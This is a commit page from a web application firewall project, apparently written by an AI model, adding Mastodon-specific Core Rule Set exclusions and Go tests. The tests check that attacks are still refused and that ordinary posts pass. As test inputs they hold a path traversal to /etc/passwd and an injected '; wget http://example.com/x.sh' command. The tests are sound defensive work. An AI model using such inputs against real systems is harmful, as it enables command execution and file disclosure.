Core Rule Set: Mastodon's ordinary requests pass by default (closes #238)
check / check (push) Failing after 16m23s
check / check (push) Failing after 16m23s
Adds mastodon.conf, the twelfth change. On Mastodon's paths, the fields that carry a search, a name, a title, an address or free text skip the four rules that read them as commands or system files. These cover the API, the admin and settings pages, sign-in, and the objects other servers deliver to an inbox. A post's text skips 932125, 932230 and 932235 too. Uploaded file names skip 932180, and an ActivityPub Accept header skips 920600 on account paths. Only Mastodon's own resources under /api/v1/ and /admin/ count, since gitea and Drupal serve those prefixes. The requests recorded from Mastodon 4.7.5 pass at the defaults and while bodies are read. Model: opus-5-5
This commit is contained in:
1 parent
c1bb813a5e
commit
18ba1e4f99
7 files changed
+1160
-22
No files matched your search
@@ -0,0 +1,415 @@
|
||||
package coreruleset_test
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"slices"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// mastodonThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||
const mastodonThreshold = 5
|
||||
|
||||
// mastodonStatuses is where Mastodon's apps and web app post.
|
||||
const mastodonStatuses = "/api/v1/statuses"
|
||||
|
||||
// mastodonInbox is a Mastodon account's inbox, which other servers deliver
|
||||
// to.
|
||||
const mastodonInbox = "/users/admin/inbox"
|
||||
|
||||
// Mastodon's paths for editing a profile, for filters, for the server's
|
||||
// rules and its name, for signing in, and for signing up or changing the
|
||||
// password.
|
||||
const (
|
||||
mastodonProfile = "/api/v1/accounts/update_credentials"
|
||||
mastodonFilters = "/api/v2/filters"
|
||||
mastodonRules = "/admin/rules"
|
||||
mastodonBranding = "/admin/settings/branding"
|
||||
mastodonSignIn = "/auth/sign_in"
|
||||
mastodonAccount = "/auth"
|
||||
)
|
||||
|
||||
// Fields, as the start of a form body: a title, a comment, a password and a
|
||||
// post's text.
|
||||
const (
|
||||
mastodonTitle = "title="
|
||||
mastodonComment = "comment="
|
||||
mastodonPassword = "user[password]="
|
||||
mastodonStatus = "status="
|
||||
)
|
||||
|
||||
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "mastodon-requests.txt")
|
||||
}
|
||||
|
||||
// mastodonQueryFields sends each field that skips 930120, 932120, 932250
|
||||
// and 932260 in the query, on a path where it skips them, ending in "=".
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var mastodonQueryFields = []string{
|
||||
"/api/v1/accounts/search?q=",
|
||||
"/api/v1/accounts/lookup?acct=",
|
||||
"/api/v1/admin/accounts?username=",
|
||||
"/api/v1/admin/accounts?display_name=",
|
||||
"/api/v1/admin/accounts?email=",
|
||||
"/api/v2/admin/accounts?origin=local&username=",
|
||||
"/api/v2/admin/accounts?by_domain=",
|
||||
"/admin/accounts?username=",
|
||||
"/admin/accounts?display_name=",
|
||||
"/admin/accounts?email=",
|
||||
"/admin/instances?by_domain=",
|
||||
"/admin/custom_emojis?shortcode=",
|
||||
"/admin/tags?name=",
|
||||
"/search?q=",
|
||||
}
|
||||
|
||||
// mastodonSearch is Mastodon's search, ending in "=". Only its hard values
|
||||
// are checked: gitea.conf's search of a repository matches it too, and lets
|
||||
// attacks through there, as
|
||||
// https://git.eeqj.de/sneak/smallwebwaf/issues/266 says.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var mastodonSearch = []string{
|
||||
"/api/v2/search?q=",
|
||||
"/api/v2/search?type=accounts&resolve=true&q=",
|
||||
}
|
||||
|
||||
// mastodonBodyField is a field of a body, sent to a path with a method.
|
||||
type mastodonBodyField struct{ method, target, field string }
|
||||
|
||||
// mastodonFormFields sends each field that skips the four rules in a form
|
||||
// data body, on a path where it skips them.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var mastodonFormFields = []mastodonBodyField{
|
||||
{http.MethodPost, mastodonStatuses, "spoiler_text="},
|
||||
{http.MethodPost, mastodonStatuses, "poll[options][]="},
|
||||
{http.MethodPut, "/api/v1/media/1", "description="},
|
||||
{http.MethodPatch, mastodonProfile, "display_name="},
|
||||
{http.MethodPatch, mastodonProfile, "note="},
|
||||
{http.MethodPatch, mastodonProfile, "fields_attributes[0][name]="},
|
||||
{http.MethodPatch, mastodonProfile, "fields_attributes[1][value]="},
|
||||
{http.MethodPost, "/api/v1/lists", mastodonTitle},
|
||||
{http.MethodPut, "/api/v1/lists/1", mastodonTitle},
|
||||
{http.MethodPost, mastodonFilters, mastodonTitle},
|
||||
{http.MethodPost, mastodonFilters, "keywords_attributes[][keyword]="},
|
||||
{http.MethodPost, mastodonFilters, "keywords_attributes[0][keyword]="},
|
||||
{http.MethodPost, mastodonFilters + "/1/keywords", "keyword="},
|
||||
{http.MethodPost, "/api/v1/featured_tags", "name="},
|
||||
{http.MethodPost, "/api/v1/reports", mastodonComment},
|
||||
{http.MethodPost, "/api/v1/accounts/1/note", mastodonComment},
|
||||
{http.MethodPost, "/api/v1/admin/accounts/1/action", "text="},
|
||||
{http.MethodPost, "/api/v1/admin/domain_blocks", "private_comment="},
|
||||
{http.MethodPost, "/api/v1/admin/domain_blocks", "public_comment="},
|
||||
{http.MethodPost, "/api/v1/admin/ip_blocks", mastodonComment},
|
||||
{http.MethodPost, "/admin/domain_blocks", "domain_block[private_comment]="},
|
||||
{http.MethodPost, "/admin/domain_blocks", "domain_block[public_comment]="},
|
||||
{http.MethodPost, "/admin/ip_blocks", "ip_block[comment]="},
|
||||
{http.MethodPost, mastodonRules, "rule[text]="},
|
||||
{http.MethodPost, mastodonRules, "rule[hint]="},
|
||||
{http.MethodPost, "/admin/announcements", "announcement[text]="},
|
||||
{http.MethodPost, mastodonBranding, "form_admin_settings[site_title]="},
|
||||
{http.MethodPost, mastodonBranding, "form_admin_settings[site_short_description]="},
|
||||
{
|
||||
http.MethodPost, "/admin/settings/about",
|
||||
"form_admin_settings[site_extended_description]=",
|
||||
},
|
||||
{http.MethodPost, "/filters", "custom_filter[title]="},
|
||||
{http.MethodPost, "/filters", "custom_filter[keywords_attributes][0][keyword]="},
|
||||
{http.MethodPost, "/settings/applications", "doorkeeper_application[name]="},
|
||||
{http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
|
||||
{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
|
||||
{http.MethodPost, "/settings/migration", "account_migration[acct]="},
|
||||
{http.MethodPost, mastodonSignIn, mastodonPassword},
|
||||
{http.MethodPost, mastodonAccount, mastodonPassword},
|
||||
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
|
||||
{http.MethodPost, mastodonAccount, "user[current_password]="},
|
||||
}
|
||||
|
||||
// mastodonJSONFields sends each field that skips the four rules in a JSON
|
||||
// body, on a path where it skips them, with %s for its value.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var mastodonJSONFields = []mastodonBodyField{
|
||||
{http.MethodPost, mastodonStatuses, `{"spoiler_text":%s}`},
|
||||
{http.MethodPost, mastodonStatuses, `{"poll":{"options":["Yes",%s]}}`},
|
||||
{http.MethodPut, mastodonFilters + "/1", `{"title":%s}`},
|
||||
{http.MethodPost, "/inbox", `{"object":{"content":%s}}`},
|
||||
{http.MethodPost, mastodonInbox, `{"object":{"contentMap":{"en":%s}}}`},
|
||||
{http.MethodPost, mastodonInbox, `{"object":{"summary":%s}}`},
|
||||
{http.MethodPost, mastodonInbox, `{"object":{"summaryMap":{"en":%s}}}`},
|
||||
{http.MethodPost, "/ap/users/1/inbox", `{"object":{"name":%s}}`},
|
||||
{http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"name":%s}]}}`},
|
||||
{http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"value":%s}]}}`},
|
||||
{http.MethodPost, mastodonInbox, `{"object":{"oneOf":[{"name":%s}]}}`},
|
||||
{http.MethodPost, mastodonInbox, `{"object":{"anyOf":[{"name":%s}]}}`},
|
||||
}
|
||||
|
||||
// mastodonStatusForms and mastodonStatusJSON send a post's text, which
|
||||
// skips 932125, 932230 and 932235 too: in form data, and in JSON with %s
|
||||
// for its value.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var (
|
||||
mastodonStatusForms = []mastodonBodyField{
|
||||
{http.MethodPost, mastodonStatuses, mastodonStatus},
|
||||
{http.MethodPut, mastodonStatuses + "/1", mastodonStatus},
|
||||
}
|
||||
mastodonStatusJSON = []mastodonBodyField{
|
||||
{http.MethodPost, mastodonStatuses, `{"status":%s}`},
|
||||
{http.MethodPut, mastodonStatuses + "/1", `{"status":%s}`},
|
||||
}
|
||||
)
|
||||
|
||||
// inspectForm returns what crs finds in value, sent in sent's form data
|
||||
// field.
|
||||
func inspectForm(t *testing.T, sent mastodonBodyField, value string) int {
|
||||
t.Helper()
|
||||
|
||||
r := request{sent.method, sent.target, []string{formData}}
|
||||
got, _ := inspectBody(t, readingBodies(t), r, sent.field+value)
|
||||
|
||||
return got.Score
|
||||
}
|
||||
|
||||
// inspectJSON returns what crs finds in value, which is not escaped, sent
|
||||
// in sent's JSON field.
|
||||
func inspectJSON(t *testing.T, sent mastodonBodyField, value string) int {
|
||||
t.Helper()
|
||||
|
||||
quoted, err := json.Marshal(value)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
r := request{sent.method, sent.target, []string{jsonBody}}
|
||||
got, _ := inspectBody(t, readingBodies(t), r, fmt.Sprintf(sent.field, quoted))
|
||||
|
||||
return got.Score
|
||||
}
|
||||
|
||||
// mastodonAttacks are an SQL injection, a path traversal and a script
|
||||
// injection, as a query value.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var mastodonAttacks = []string{
|
||||
sqlInjection,
|
||||
"..%2F..%2F..%2Fetc%2Fpasswd",
|
||||
scriptInjection,
|
||||
}
|
||||
|
||||
func TestMastodonAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
for _, attack := range mastodonAttacks {
|
||||
for _, target := range mastodonQueryFields {
|
||||
got := inspect(t, crs, get(target+attack))
|
||||
if got.Score < mastodonThreshold {
|
||||
t.Errorf("%s%s let through: %+v", target, attack, got)
|
||||
}
|
||||
}
|
||||
|
||||
for _, sent := range slices.Concat(mastodonFormFields, mastodonStatusForms) {
|
||||
if inspectForm(t, sent, attack) < mastodonThreshold {
|
||||
t.Errorf("%v with %s let through", sent, attack)
|
||||
}
|
||||
}
|
||||
|
||||
value, err := url.QueryUnescape(attack)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
for _, sent := range slices.Concat(mastodonJSONFields, mastodonStatusJSON) {
|
||||
if inspectJSON(t, sent, value) < mastodonThreshold {
|
||||
t.Errorf("%v with %q let through", sent, value)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// mastodonCommandAttack is a shell command that only 932230 and 932235
|
||||
// refuse on the fields that skip the four rules.
|
||||
const mastodonCommandAttack = "; wget http://example.com/x.sh"
|
||||
|
||||
func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
attack := url.QueryEscape(mastodonCommandAttack)
|
||||
|
||||
for _, target := range mastodonQueryFields {
|
||||
if got := inspect(t, crs, get(target+attack)); got.Score < mastodonThreshold {
|
||||
t.Errorf("%s%s let through: %+v", target, attack, got)
|
||||
}
|
||||
}
|
||||
|
||||
for _, sent := range mastodonFormFields {
|
||||
if inspectForm(t, sent, attack) < mastodonThreshold {
|
||||
t.Errorf("%v let through", sent)
|
||||
}
|
||||
}
|
||||
|
||||
for _, sent := range mastodonJSONFields {
|
||||
if inspectJSON(t, sent, mastodonCommandAttack) < mastodonThreshold {
|
||||
t.Errorf("%v let through", sent)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// mastodonCodePost is a post that names commands in code, as recorded.
|
||||
const mastodonCodePost = "Today I learned: `ls -la ~/.config` lists hidden files, " +
|
||||
"and `python3 -m http.server` serves a folder. https://example.org/notes"
|
||||
|
||||
func TestMastodonHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
for _, value := range hardValues {
|
||||
for _, target := range slices.Concat(mastodonQueryFields, mastodonSearch) {
|
||||
got := inspect(t, crs, get(target+value))
|
||||
if got.Score >= mastodonThreshold {
|
||||
t.Errorf("%s%s refused: %+v", target, value, got)
|
||||
}
|
||||
}
|
||||
|
||||
for _, sent := range slices.Concat(mastodonFormFields, mastodonStatusForms) {
|
||||
if inspectForm(t, sent, value) >= mastodonThreshold {
|
||||
t.Errorf("%v with %s refused", sent, value)
|
||||
}
|
||||
}
|
||||
|
||||
unescaped, err := url.QueryUnescape(value)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
for _, sent := range slices.Concat(mastodonJSONFields, mastodonStatusJSON) {
|
||||
if inspectJSON(t, sent, unescaped) >= mastodonThreshold {
|
||||
t.Errorf("%v with %q refused", sent, unescaped)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
code := url.QueryEscape(mastodonCodePost)
|
||||
|
||||
for _, sent := range mastodonStatusForms {
|
||||
if inspectForm(t, sent, code) >= mastodonThreshold {
|
||||
t.Errorf("%v refused", sent)
|
||||
}
|
||||
}
|
||||
|
||||
for _, sent := range mastodonStatusJSON {
|
||||
if inspectJSON(t, sent, mastodonCodePost) >= mastodonThreshold {
|
||||
t.Errorf("%v refused", sent)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// mastodonUpload is a file named .htaccess in a multipart body.
|
||||
const mastodonUpload = "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
|
||||
"filename=\"Example .htaccess.png\"\r\n\r\nx\r\n--b--\r\n"
|
||||
|
||||
// mastodonActivityPub is the Accept header of a server fetching a post.
|
||||
const mastodonActivityPub = `Accept: application/ld+json; ` +
|
||||
`profile="https://www.w3.org/ns/activitystreams", application/activity+json`
|
||||
|
||||
func TestMastodonExclusionsAreNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
for _, refused := range []string{
|
||||
"/?q=powershell",
|
||||
"/api/v2/search?other=python3",
|
||||
"/api/v1/timelines/home?q=python3",
|
||||
"/api/v1/admin/users?username=python3",
|
||||
"/admin/people?username=python3",
|
||||
"/admin/reports?username=python3",
|
||||
"/search/other?q=python3",
|
||||
"/x/api/v2/search?q=python3",
|
||||
"/admin/accounts/1?username=python3",
|
||||
} {
|
||||
if got := inspect(t, crs, get(refused)); got.Score < mastodonThreshold {
|
||||
t.Errorf("%s let through: %+v", refused, got)
|
||||
}
|
||||
}
|
||||
|
||||
// The Accept header of ActivityPub is still refused off the paths of
|
||||
// Mastodon's accounts.
|
||||
wantResult(t, crs, get("/", mastodonActivityPub), matched(920600))
|
||||
wantResult(t, crs, get("/users/admin/statuses/1", mastodonActivityPub),
|
||||
matched())
|
||||
|
||||
crs = readingBodies(t)
|
||||
|
||||
upload := request{
|
||||
http.MethodPost, "/upload",
|
||||
[]string{"Content-Type: multipart/form-data; boundary=b"},
|
||||
}
|
||||
|
||||
got, _ := inspectBody(t, crs, upload, mastodonUpload)
|
||||
if got.Score < mastodonThreshold {
|
||||
t.Errorf("POST %s let through: %+v", upload.target, got)
|
||||
}
|
||||
|
||||
for _, target := range []string{"/api/v1/media", "/api/v2/media", mastodonProfile} {
|
||||
upload.target = target
|
||||
|
||||
got, _ := inspectBody(t, crs, upload, mastodonUpload)
|
||||
if got.Score >= mastodonThreshold {
|
||||
t.Errorf("POST %s refused: %+v", target, got)
|
||||
}
|
||||
}
|
||||
|
||||
// The fields are excluded only on Mastodon's paths.
|
||||
for _, sent := range []mastodonBodyField{
|
||||
{http.MethodPost, "/api/v1/repos/issues", mastodonTitle},
|
||||
{http.MethodPost, "/user/login", mastodonPassword},
|
||||
{http.MethodPost, "/comments", mastodonStatus},
|
||||
} {
|
||||
if inspectForm(t, sent, "python3") < mastodonThreshold {
|
||||
t.Errorf("%v let through", sent)
|
||||
}
|
||||
}
|
||||
|
||||
for _, sent := range []mastodonBodyField{
|
||||
{http.MethodPost, "/outbox", `{"object":{"content":%s}}`},
|
||||
{http.MethodPost, mastodonInbox, `{"object":{"url":%s}}`},
|
||||
} {
|
||||
if inspectJSON(t, sent, "python3") < mastodonThreshold {
|
||||
t.Errorf("%v let through", sent)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestMastodonBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
// The same field name in the query keeps the rules, in the query and
|
||||
// in the body.
|
||||
for _, sent := range []struct{ target, field string }{
|
||||
{mastodonStatuses, mastodonStatus + "python3"},
|
||||
{mastodonStatuses, "spoiler_text=python3"},
|
||||
{mastodonRules, "rule[text]=python3"},
|
||||
{mastodonSignIn, mastodonPassword + "python3"},
|
||||
{mastodonInbox, "json.object.content=python3"},
|
||||
} {
|
||||
target := sent.target + "?" + sent.field
|
||||
r := request{http.MethodPost, target, []string{formData}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.field)
|
||||
if got.Score < mastodonThreshold {
|
||||
t.Errorf("POST %s let through: %+v", r.target, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in new issue
Block a user